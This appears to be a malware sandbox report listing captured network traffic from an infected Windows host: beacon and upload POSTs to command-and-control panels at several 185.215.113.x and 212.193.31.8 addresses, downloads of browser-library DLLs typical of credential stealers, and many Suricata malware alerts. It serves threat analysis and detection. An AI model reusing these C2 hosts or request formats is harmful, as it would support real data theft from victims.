Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAEHIJKJKEBFIEGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 62 34 65 63 39 61 31 63 32 32 37 63 34 61 37 33 34 38 35 39 62 61 38 35 32 66 37 30 66 30 62 38 33 66 66 39 62 39 64 62 35 30 37 31 65 64 33 61 39 32 62 62 34 39 62 36 35 30 63 31 30 31 62 65 39 64 63 61 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="token"41b4ec9a1c227c4a734859ba852f70f0b83ff9b9db5071ed3a92bb49b650c101be9dca12------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="file"------JJDBAEHIJKJKEBFIEGHI--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 62 34 65 63 39 61 31 63 32 32 37 63 34 61 37 33 34 38 35 39 62 61 38 35 32 66 37 30 66 30 62 38 33 66 66 39 62 39 64 62 35 30 37 31 65 64 33 61 39 32 62 62 34 39 62 36 35 30 63 31 30 31 62 65 39 64 63 61 31 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="token"41b4ec9a1c227c4a734859ba852f70f0b83ff9b9db5071ed3a92bb49b650c101be9dca12------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="file"------AAEHDAAKEHJECBFHCBKF--
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49804 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49814 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49823 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49831 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49822 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49830 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49832 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49844 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49851 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49837 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49858 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49852 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49875 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49863 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49876 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49872 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49843 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49885 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49897 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49947 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49914 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49980 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50004 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50026 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50060 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50068 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50069 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50096 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50120 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50125 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50134 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50128 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:50121 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50140 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50141 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50157 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50162 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50158 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50168 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50169 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:50163 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50177 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50178 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50180 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50174 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50185 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50189 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50186 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50205 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50203 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50222 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50238 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50240 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:50241 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50242 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50246 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50250 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50253 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50263 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50264 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50254 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50276 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50274 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50247 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50284 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50286 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50292 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50287 -> 104.21.21.99:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50291 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50298 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50299 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50304 -> 104.21.67.146:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50517 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50526 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50533 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50527 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50541 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50520 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50523 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50614 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50544 -> 172.67.209.202:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50636 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50622 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50639 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50618 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50624 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50633 -> 104.21.89.115:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50616 -> 104.21.89.115:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
